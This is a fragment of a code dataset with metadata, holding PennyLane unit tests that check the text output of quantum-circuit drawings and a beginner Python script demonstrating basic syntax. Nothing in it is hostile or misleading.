"max_forks_repo_forks_event_max_datetime": "2021-03-02T16:43:38.000Z", "avg_line_length": 39.4302325581, "max_line_length": 137, "alphanum_fraction": 0.5653199646, "include": true, "reason": "import numpy", "num_tokens": 954, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.399811640739795, "lm_q2_score": 0.1500288224422264, "lm_q1q2_score": 0.05998326965888592}}
{"text": "# Copyright 2018-2020 Xanadu Quantum Technologies Inc.\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"\r\nUnit tests for the draw transform.\r\n\"\"\"\r\nimport functools\r\nimport pytest\r\n\r\nimport pennylane as qml\r\nfrom pennylane import numpy as np\r\n\r\n\r\ndef test_drawing():\r\n    \"\"\"Test circuit drawing\"\"\"\r\n\r\n    x = np.array(0.1, requires_grad=True)\r\n    y = np.array([0.2, 0.3], requires_grad=True)\r\n    z = np.array(0.4, requires_grad=True)\r\n\r\n    dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n    @qml.beta.qnode(dev, interface=\"autograd\")\r\n    def circuit(p1, p2=y, **kwargs):\r\n        qml.RX(p1, wires=0)\r\n        qml.RY(p2[0] * p2[1], wires=1)\r\n        qml.RX(kwargs[\"p3\"], wires=0)\r\n        qml.CNOT(wires=[0, 1])\r\n        return qml.expval(qml.PauliZ(0) @ qml.PauliX(1))\r\n\r\n    result = qml.draw(circuit)(p1=x, p3=z)\r\n    expected = \"\"\"\\\r\n 0: \u2500\u2500RX(0.1)\u2500\u2500\u2500RX(0.4)\u2500\u2500\u256dC\u2500\u2500\u256d\u2524 \u27e8Z \u2297 X\u27e9 \r\n 1: \u2500\u2500RY(0.06)\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2500\u2570\u2524 \u27e8Z \u2297 X\u27e9 \r\n\"\"\"\r\n\r\n    assert result == expected\r\n\r\n\r\ndef test_drawing_tf():\r\n    \"\"\"Test circuit drawing when using TensorFlow\"\"\"\r\n    tf = pytest.importorskip(\"tensorflow\")\r\n\r\n    x = tf.constant(0.1)\r\n    y = tf.constant([0.2, 0.3])\r\n    z = tf.Variable(0.4)\r\n\r\n    dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n    @qml.beta.qnode(dev, interface=\"tf\")\r\n    def circuit(p1, p2=y, **kwargs):\r\n        qml.RX(p1, wires=0)\r\n        qml.RY(p2[0] * p2[1], wires=1)\r\n        qml.RX(kwargs[\"p3\"], wires=0)\r\n        qml.CNOT(wires=[0, 1])\r\n        return qml.expval(qml.PauliZ(0) @ qml.PauliX(1))\r\n\r\n    result = qml.draw(circuit)(p1=x, p3=z)\r\n    expected = \"\"\"\\\r\n 0: \u2500\u2500RX(0.1)\u2500\u2500\u2500RX(0.4)\u2500\u2500\u256dC\u2500\u2500\u256d\u2524 \u27e8Z \u2297 X\u27e9 \r\n 1: \u2500\u2500RY(0.06)\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2500\u2570\u2524 \u27e8Z \u2297 X\u27e9 \r\n\"\"\"\r\n\r\n    assert result == expected\r\n\r\n\r\ndef test_drawing_torch():\r\n    \"\"\"Test circuit drawing when using Torch\"\"\"\r\n    torch = pytest.importorskip(\"torch\")\r\n\r\n    x = torch.tensor(0.1, requires_grad=True)\r\n    y = torch.tensor([0.2, 0.3], requires_grad=True)\r\n    z = torch.tensor(0.4, requires_grad=True)\r\n\r\n    dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n    @qml.beta.qnode(dev, interface=\"torch\")\r\n    def circuit(p1, p2=y, **kwargs):\r\n        qml.RX(p1, wires=0)\r\n        qml.RY(p2[0] * p2[1], wires=1)\r\n        qml.RX(kwargs[\"p3\"], wires=0)\r\n        qml.CNOT(wires=[0, 1])\r\n        return qml.expval(qml.PauliZ(0) @ qml.PauliX(1))\r\n\r\n    result = qml.draw(circuit)(p1=x, p3=z)\r\n    expected = \"\"\"\\\r\n 0: \u2500\u2500RX(0.1)\u2500\u2500\u2500RX(0.4)\u2500\u2500\u256dC\u2500\u2500\u256d\u2524 \u27e8Z \u2297 X\u27e9 \r\n 1: \u2500\u2500RY(0.06)\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2500\u2570\u2524 \u27e8Z \u2297 X\u27e9 \r\n\"\"\"\r\n\r\n    assert result == expected\r\n\r\n\r\ndef test_drawing_jax():\r\n    \"\"\"Test circuit drawing when using JAX\"\"\"\r\n    jax = pytest.importorskip(\"jax\")\r\n    jnp = jax.numpy\r\n\r\n    x = jnp.array(0.1)\r\n    y = jnp.array([0.2, 0.3])\r\n    z = jnp.array(0.4)\r\n\r\n    dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n    @qml.beta.qnode(dev, interface=\"jax\")\r\n    def circuit(p1, p2=y, **kwargs):\r\n        qml.RX(p1, wires=0)\r\n        qml.RY(p2[0] * p2[1], wires=1)\r\n        qml.RX(kwargs[\"p3\"], wires=0)\r\n        qml.CNOT(wires=[0, 1])\r\n        return qml.expval(qml.PauliZ(0) @ qml.PauliX(1))\r\n\r\n    result = qml.draw(circuit)(p1=x, p3=z)\r\n    expected = \"\"\"\\\r\n 0: \u2500\u2500RX(0.1)\u2500\u2500\u2500RX(0.4)\u2500\u2500\u256dC\u2500\u2500\u256d\u2524 \u27e8Z \u2297 X\u27e9 \r\n 1: \u2500\u2500RY(0.06)\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2500\u2570\u2524 \u27e8Z \u2297 X\u27e9 \r\n\"\"\"\r\n\r\n    assert result == expected\r\n\r\n\r\ndef test_drawing_ascii():\r\n    \"\"\"Test circuit drawing when using ASCII characters\"\"\"\r\n    from pennylane import numpy as np\r\n\r\n    x = np.array(0.1, requires_grad=True)\r\n    y = np.array([0.2, 0.3], requires_grad=True)\r\n    z = np.array(0.4, requires_grad=True)\r\n\r\n    dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n    @qml.beta.qnode(dev, interface=\"autograd\")\r\n    def circuit(p1, p2=y, **kwargs):\r\n        qml.RX(p1, wires=0)\r\n        qml.RY(p2[0] * p2[1], wires=1)\r\n        qml.RX(kwargs[\"p3\"], wires=0)\r\n        qml.CNOT(wires=[0, 1])\r\n        return qml.expval(qml.PauliZ(0) @ qml.PauliX(1))\r\n\r\n    result = qml.draw(circuit, charset=\"ascii\")(p1=x, p3=z)\r\n    expected = \"\"\"\\\r\n 0: --RX(0.1)---RX(0.4)--+C--+| <Z @ X> \r\n 1: --RY(0.06)-----------+X--+| <Z @ X> \r\n\"\"\"\r\n\r\n    assert result == expected\r\n\r\n\r\ndef test_show_all_wires_error():\r\n    \"\"\"Test that show_all_wires will raise an error if the provided wire\r\n    order does not contain all wires on the device\"\"\"\r\n\r\n    dev = qml.device(\"default.qubit\", wires=[-1, \"a\", \"q2\", 0])\r\n\r\n    @qml.beta.qnode(dev)\r\n    def circuit():\r\n        qml.Hadamard(wires=-1)\r\n        qml.CNOT(wires=[-1, \"q2\"])\r\n        return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n    with pytest.raises(ValueError, match=\"must contain all wires\"):\r\n        qml.draw(circuit, show_all_wires=True, wire_order=[-1, \"a\"])()\r\n\r\n\r\ndef test_missing_wire():\r\n    \"\"\"Test that wires not specifically mentioned in the wire\r\n    reordering are appended at the bottom of the circuit drawing\"\"\"\r\n\r\n    dev = qml.device(\"default.qubit\", wires=[\"a\", -1, \"q2\"])\r\n\r\n    @qml.beta.qnode(dev)\r\n    def circuit():\r\n        qml.Hadamard(wires=-1)\r\n        qml.CNOT(wires=[\"a\", \"q2\"])\r\n        qml.RX(0.2, wires=\"a\")\r\n        return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n    # test one missing wire\r\n    res = qml.draw(circuit, wire_order=[\"q2\", \"a\"])()\r\n    expected = [\r\n        \" q2: \u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n        \"  a: \u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \",\r\n        \" -1: \u2500\u2500\u2500H\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \\n\",\r\n    ]\r\n\r\n    assert res == \"\\n\".join(expected)\r\n\r\n    # test one missing wire\r\n    res = qml.draw(circuit, wire_order=[\"q2\", -1])()\r\n    expected = [\r\n        \" q2: \u2500\u2500\u2500\u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n        \" -1: \u2500\u2500H\u2500\u2500\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \",\r\n        \"  a: \u2500\u2500\u2500\u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \\n\",\r\n    ]\r\n\r\n    assert res == \"\\n\".join(expected)\r\n\r\n    # test multiple missing wires\r\n    res = qml.draw(circuit, wire_order=[\"q2\"])()\r\n    expected = [\r\n        \" q2: \u2500\u2500\u2500\u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n        \" -1: \u2500\u2500H\u2500\u2500\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \",\r\n        \"  a: \u2500\u2500\u2500\u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \\n\",\r\n    ]\r\n\r\n    assert res == \"\\n\".join(expected)\r\n\r\n\r\ndef test_invalid_wires():\r\n    \"\"\"Test that an exception is raised if a wire in the wire\r\n    ordering does not exist on the device\"\"\"\r\n    dev = qml.device(\"default.qubit\", wires=[\"a\", -1, \"q2\"])\r\n\r\n    @qml.beta.qnode(dev)\r\n    def circuit():\r\n        qml.Hadamard(wires=-1)\r\n        qml.CNOT(wires=[\"a\", \"q2\"])\r\n        qml.RX(0.2, wires=\"a\")\r\n        return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n    with pytest.raises(ValueError, match=\"contains wires not contained on the device\"):\r\n        qml.draw(circuit, wire_order=[\"q2\", 5])()\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"transform\",\r\n    [qml.gradients.param_shift(shift=0.2), functools.partial(qml.gradients.param_shift, shift=0.2)],\r\n)\r\ndef test_draw_batch_transform(transform):\r\n    \"\"\"Test that drawing a batch transform works correctly\"\"\"\r\n    dev = qml.device(\"default.qubit\", wires=1)\r\n\r\n    @transform\r\n    @qml.beta.qnode(dev)\r\n    def circuit(x):\r\n        qml.Hadamard(wires=0)\r\n        qml.RX(x, wires=0)\r\n        return qml.expval(qml.PauliZ(wires=0))\r\n\r\n    # the parameter-shift transform will create two circuits; one with x+0.2\r\n    # and one with x-0.2.\r\n    res = qml.draw(circuit)(0.6)\r\n    expected = [\" 0: \u2500\u2500H\u2500\u2500RX(0.8)\u2500\u2500\u2524 \u27e8Z\u27e9 \", \"\", \" 0: \u2500\u2500H\u2500\u2500RX(0.4)\u2500\u2500\u2524 \u27e8Z\u27e9 \", \"\"]\r\n    assert res == \"\\n\".join(expected)\r\n\r\n\r\ndef test_direct_qnode_integration():\r\n    \"\"\"Test that a QNode renders correctly.\"\"\"\r\n    dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n    @qml.beta.qnode(dev)\r\n    def qfunc(a, w):\r\n        qml.Hadamard(0)\r\n        qml.CRX(a, wires=[0, 1])\r\n        qml.Rot(w[0], w[1], w[2], wires=[1])\r\n        qml.CRX(-a, wires=[0, 1])\r\n\r\n        return qml.expval(qml.PauliZ(0) @ qml.PauliZ(1))\r\n\r\n    a, w = 2.3, [1.2, 3.2, 0.7]\r\n\r\n    assert qml.draw(qfunc)(a, w) == (\r\n        \" 0: \u2500\u2500H\u2500\u2500\u256dC\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256dC\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256d\u2524 \u27e8Z \u2297 Z\u27e9 \\n\"\r\n        + \" 1: \u2500\u2500\u2500\u2500\u2500\u2570RX(2.3)\u2500\u2500Rot(1.2, 3.2, 0.7)\u2500\u2500\u2570RX(-2.3)\u2500\u2500\u2570\u2524 \u27e8Z \u2297 Z\u27e9 \\n\"\r\n    )\r\n\r\n    assert qml.draw(qfunc, charset=\"ascii\")(a, w) == (\r\n        \" 0: --H--+C----------------------------+C---------+| <Z @ Z> \\n\"\r\n        + \" 1: -----+RX(2.3)--Rot(1.2, 3.2, 0.7)--+RX(-2.3)--+| <Z @ Z> \\n\"\r\n    )\r\n\r\n\r\ndef test_same_wire_multiple_measurements():\r\n    \"\"\"Test that drawing a QNode with multiple measurements on certain wires works correctly.\"\"\"\r\n    dev = qml.device(\"default.qubit\", wires=4)\r\n\r\n    @qml.beta.qnode(dev)\r\n    def qnode(x, y):\r\n        qml.RY(x, wires=0)\r\n        qml.Hadamard(0)\r\n        qml.RZ(y, wires=0)\r\n        return [\r\n            qml.expval(qml.PauliX(wires=[0]) @ qml.PauliX(wires=[1]) @ qml.PauliX(wires=[2])),\r\n            qml.expval(qml.PauliX(wires=[0]) @ qml.PauliX(wires=[3])),\r\n        ]\r\n\r\n    expected = (\r\n        \" 0: \u2500\u2500RY(1)\u2500\u2500H\u2500\u2500RZ(2)\u2500\u2500\u256d\u2524 \u27e8X \u2297 X \u2297 X\u27e9 \u256d\u2524 \u27e8X \u2297 X\u27e9 \\n\"\r\n        + \" 1: \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u251c\u2524 \u27e8X \u2297 X \u2297 X\u27e9 \u2502\u2524         \\n\"\r\n        + \" 2: \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2570\u2524 \u27e8X \u2297 X \u2297 X\u27e9 \u2502\u2524         \\n\"\r\n        + \" 3: \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524             \u2570\u2524 \u27e8X \u2297 X\u27e9 \\n\"\r\n    )\r\n    assert qml.draw(qnode)(1.0, 2.0) == expected\r\n\r\n\r\ndef test_same_wire_multiple_measurements_many_obs():\r\n    \"\"\"Test that drawing a QNode with multiple measurements on certain\r\n    wires works correctly when there are more observables than the number of\r\n    observables for any wire.\r\n    \"\"\"\r\n    dev = qml.device(\"default.qubit\", wires=4)\r\n\r\n    @qml.beta.qnode(dev)\r\n    def qnode(x, y):\r\n        qml.RY(x, wires=0)\r\n        qml.Hadamard(0)\r\n        qml.RZ(y, wires=0)\r\n        return [\r\n            qml.expval(qml.PauliZ(0)),\r\n            qml.expval(qml.PauliZ(1)),\r\n            qml.expval(qml.PauliZ(0) @ qml.PauliZ(1)),\r\n        ]\r\n\r\n    expected = (\r\n        \" 0: \u2500\u2500RY(0.3)\u2500\u2500H\u2500\u2500RZ(0.2)\u2500\u2500\u2524 \u27e8Z\u27e9 \u2524     \u256d\u2524 \u27e8Z \u2297 Z\u27e9 \\n\"\r\n        + \" 1: \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \u2524 \u27e8Z\u27e9 \u2570\u2524 \u27e8Z \u2297 Z\u27e9 \\n\"\r\n    )\r\n    assert qml.draw(qnode)(0.3, 0.2) == expected\r\n\r\n\r\nclass TestWireOrdering:\r\n    \"\"\"Tests for wire ordering functionality\"\"\"\r\n\r\n    def test_default_ordering(self):\r\n        \"\"\"Test that the default wire ordering matches the device\"\"\"\r\n\r\n        dev = qml.device(\"default.qubit\", wires=[\"a\", -1, \"q2\"])\r\n\r\n        @qml.beta.qnode(dev)\r\n        def circuit():\r\n            qml.Hadamard(wires=-1)\r\n            qml.CNOT(wires=[\"a\", \"q2\"])\r\n            qml.RX(0.2, wires=\"a\")\r\n            return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n        res = qml.draw(circuit)()\r\n        expected = [\r\n            \"  a: \u2500\u2500\u2500\u2500\u2500\u256dC\u2500\u2500RX(0.2)\u2500\u2500\u2524     \",\r\n            \" -1: \u2500\u2500H\u2500\u2500\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \",\r\n            \" q2: \u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \\n\",\r\n        ]\r\n\r\n        assert res == \"\\n\".join(expected)\r\n\r\n    def test_wire_reordering(self):\r\n        \"\"\"Test that wires are correctly reordered\"\"\"\r\n\r\n        dev = qml.device(\"default.qubit\", wires=[\"a\", -1, \"q2\"])\r\n\r\n        @qml.beta.qnode(dev)\r\n        def circuit():\r\n            qml.Hadamard(wires=-1)\r\n            qml.CNOT(wires=[\"a\", \"q2\"])\r\n            qml.RX(0.2, wires=\"a\")\r\n            return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n        res = qml.draw(circuit, wire_order=[\"q2\", \"a\", -1])()\r\n        expected = [\r\n            \" q2: \u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n            \"  a: \u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \",\r\n            \" -1: \u2500\u2500\u2500H\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \\n\",\r\n        ]\r\n\r\n        assert res == \"\\n\".join(expected)\r\n\r\n    def test_include_empty_wires(self):\r\n        \"\"\"Test that empty wires are correctly included\"\"\"\r\n\r\n        dev = qml.device(\"default.qubit\", wires=[-1, \"a\", \"q2\", 0])\r\n\r\n        @qml.beta.qnode(dev)\r\n        def circuit():\r\n            qml.Hadamard(wires=-1)\r\n            qml.CNOT(wires=[-1, \"q2\"])\r\n            return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n        res = qml.draw(circuit, show_all_wires=True)()\r\n        expected = [\r\n            \" -1: \u2500\u2500H\u2500\u2500\u256dC\u2500\u2500\u2524     \",\r\n            \"  a: \u2500\u2500\u2500\u2500\u2500\u2502\u2500\u2500\u2500\u2524     \",\r\n            \" q2: \u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n            \"  0: \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \\n\",\r\n        ]\r\n\r\n        assert res == \"\\n\".join(expected)\r\n\r\n    def test_show_all_wires_error(self):\r\n        \"\"\"Test that show_all_wires will raise an error if the provided wire\r\n        order does not contain all wires on the device\"\"\"\r\n\r\n        dev = qml.device(\"default.qubit\", wires=[-1, \"a\", \"q2\", 0])\r\n\r\n        @qml.beta.qnode(dev)\r\n        def circuit():\r\n            qml.Hadamard(wires=-1)\r\n            qml.CNOT(wires=[-1, \"q2\"])\r\n            return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n        with pytest.raises(ValueError, match=\"must contain all wires\"):\r\n            qml.draw(circuit, show_all_wires=True, wire_order=[-1, \"a\"])()\r\n\r\n    def test_missing_wire(self):\r\n        \"\"\"Test that wires not specifically mentioned in the wire\r\n        reordering are appended at the bottom of the circuit drawing\"\"\"\r\n\r\n        dev = qml.device(\"default.qubit\", wires=[\"a\", -1, \"q2\"])\r\n\r\n        @qml.beta.qnode(dev)\r\n        def circuit():\r\n            qml.Hadamard(wires=-1)\r\n            qml.CNOT(wires=[\"a\", \"q2\"])\r\n            qml.RX(0.2, wires=\"a\")\r\n            return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n        # test one missing wire\r\n        res = qml.draw(circuit, wire_order=[\"q2\", \"a\"])()\r\n        expected = [\r\n            \" q2: \u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n            \"  a: \u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \",\r\n            \" -1: \u2500\u2500\u2500H\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \\n\",\r\n        ]\r\n\r\n        assert res == \"\\n\".join(expected)\r\n\r\n        # test one missing wire\r\n        res = qml.draw(circuit, wire_order=[\"q2\", -1])()\r\n        expected = [\r\n            \" q2: \u2500\u2500\u2500\u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n            \" -1: \u2500\u2500H\u2500\u2500\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \",\r\n            \"  a: \u2500\u2500\u2500\u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \\n\",\r\n        ]\r\n\r\n        assert res == \"\\n\".join(expected)\r\n\r\n        # test multiple missing wires\r\n        res = qml.draw(circuit, wire_order=[\"q2\"])()\r\n        expected = [\r\n            \" q2: \u2500\u2500\u2500\u2500\u2500\u256dX\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u27e8X\u27e9 \",\r\n            \" -1: \u2500\u2500H\u2500\u2500\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \",\r\n            \"  a: \u2500\u2500\u2500\u2500\u2500\u2570C\u2500\u2500RX(0.2)\u2500\u2500\u2524     \\n\",\r\n        ]\r\n\r\n        assert res == \"\\n\".join(expected)\r\n\r\n    def test_invalid_wires(self):\r\n        \"\"\"Test that an exception is raised if a wire in the wire\r\n        ordering does not exist on the device\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=[\"a\", -1, \"q2\"])\r\n\r\n        @qml.beta.qnode(dev)\r\n        def circuit():\r\n            qml.Hadamard(wires=-1)\r\n            qml.CNOT(wires=[\"a\", \"q2\"])\r\n            qml.RX(0.2, wires=\"a\")\r\n            return qml.expval(qml.PauliX(wires=\"q2\"))\r\n\r\n        with pytest.raises(ValueError, match=\"contains wires not contained on the device\"):\r\n            res = qml.draw(circuit, wire_order=[\"q2\", 5])()\r\n\r\n    def test_no_ops_draws(self):\r\n        \"\"\"Test that a QNode with no operations still draws correctly\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=3)\r\n\r\n        @qml.beta.qnode(dev)\r\n        def qnode():\r\n            return qml.expval(qml.PauliX(wires=[0]) @ qml.PauliX(wires=[1]) @ qml.PauliX(wires=[2]))\r\n\r\n        res = qml.draw(qnode)()\r\n        expected = [\r\n            \" 0: \u2500\u2500\u256d\u2524 \u27e8X \u2297 X \u2297 X\u27e9 \\n\",\r\n            \" 1: \u2500\u2500\u251c\u2524 \u27e8X \u2297 X \u2297 X\u27e9 \\n\",\r\n            \" 2: \u2500\u2500\u2570\u2524 \u27e8X \u2297 X \u2297 X\u27e9 \\n\",\r\n        ]\r\n\r\n        assert res == \"\".join(expected)\r\n", "meta": {"hexsha": "22cf33de1e959513fe4054cb421354e07c28d908", "size": 15303, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/transforms/test_draw.py", "max_stars_repo_name": "anonymousr007/pennylane", "max_stars_repo_head_hexsha": "2503b57edf62e0c2b0ee4c465bad20f6d1fba371", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/transforms/test_draw.py", "max_issues_repo_name": "anonymousr007/pennylane", "max_issues_repo_head_hexsha": "2503b57edf62e0c2b0ee4c465bad20f6d1fba371", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/transforms/test_draw.py", "max_forks_repo_name": "anonymousr007/pennylane", "max_forks_repo_head_hexsha": "2503b57edf62e0c2b0ee4c465bad20f6d1fba371", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.487654321, "max_line_length": 101, "alphanum_fraction": 0.4961772202, "include": true, "reason": "import numpy", "num_tokens": 5088, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.13117323225300484, "lm_q1q2_score": 0.05996410072778908}}
{"text": "\"\"\"Demonstration of some basic structural features.\"\"\"\n\n# various methods for importing modules from other packages\nfrom math import factorial\nimport datetime\nimport numpy as np\nimport sys\n\nprint(\"\\nbasic structure allows use of functions and statements...\")\nprint(\"time is \", datetime.datetime.now())\n# we can use factorial rather than math.factorial()\nprint(\"5! = \", factorial(5))\narray = np.array([1, 2, 3])     # use simpler/shorter module name\nprint(array)\n\n# conditional statements\nif np.size(array) > 0:\n    print(\"array is not empty!\")\n\nprint(\"\\ncase sensitive so my_var and MY_VAR are different variables...\")\nmy_var = 3\nMY_VAR = 4\nprint(\"my_var at\", id(my_var), \"with value\", my_var)\nprint(\"MY_VAR at\", id(MY_VAR), \"with value\", MY_VAR)\n\n\ndef my_function(bob, susan):\n    # indentation is key in Python\n    try:\n        if bob is None:\n            if susan is None:\n                print(\"anybody there?\")\n                return True    # the return is also conditional on bob and susan both None\n            return False    # bob is None but susan isn't\n        return False    # bob is not None, who cares about susan\n    except ValueError:\n        print(\"whoops\")\n        pass                # does nothing\n    return False\n\n\n# use line continuation after the operator\nif None is not None and\\\n   None is None:\n    print(\"how odd\")\n\n# you can use line continuations like this\nmy_variable = 1 + 4 +\\\n    6 + 10\nprint(my_variable)\n\n# line continuation not required for example in lists or dictionaries\nmy_colors = ['red',\n             'green']\nprint(my_colors)\n\nmy_dictionary = {\n    'a': 10,\n    'b': 23\n}\nprint(my_dictionary)\n\n# multiple assignment\nprint(\"\\nyou can use multiple assignment syntax such as a, b,c = 1, 2, 3...\")\na, b, c = 1, 2, 3\nprint(a, b, c)\nd = e = f = 4\nprint(d)\n\nprint(\"\\nuse help() to get help on functions and modules etc...\")\nhelp(dir)\n\n# note __name__ is typically pronounced 'dunder name' - for double underscore\n\nif __name__ == '__main__':      # typical entry point for python program from interpreter, not another module\n    print(\"in main!\")           # you would expect to call some function here and pass the return value to\n    sys.exit()                  # ..sys.exit. Note a None value is equivalent to passing 0 (ok)\n", "meta": {"hexsha": "5cb400264b8b5af888ee0d5a82b7c55b5974a581", "size": 2266, "ext": "py", "lang": "Python", "max_stars_repo_path": "basic/1_structure.py", "max_stars_repo_name": "duckherder/python-reminders", "max_stars_repo_head_hexsha": "23f650142b0745dbd7a51445aba186d85933300b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "basic/1_structure.py", "max_issues_repo_name": "duckherder/python-reminders", "max_issues_repo_head_hexsha": "23f650142b0745dbd7a51445aba186d85933300b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "basic/1_structure.py", "max_forks_repo_name": "duckherder/python-reminders", "max_forks_repo_head_hexsha": "23f650142b0745dbd7a51445aba186d85933300b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.0512820513, "max_line_length": 109, "alphanum_fraction": 0.658870256, "include": true, "reason": "import numpy", "num_tokens": 570, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.13117322885652913, "lm_q1q2_score": 0.05996409917513532}}
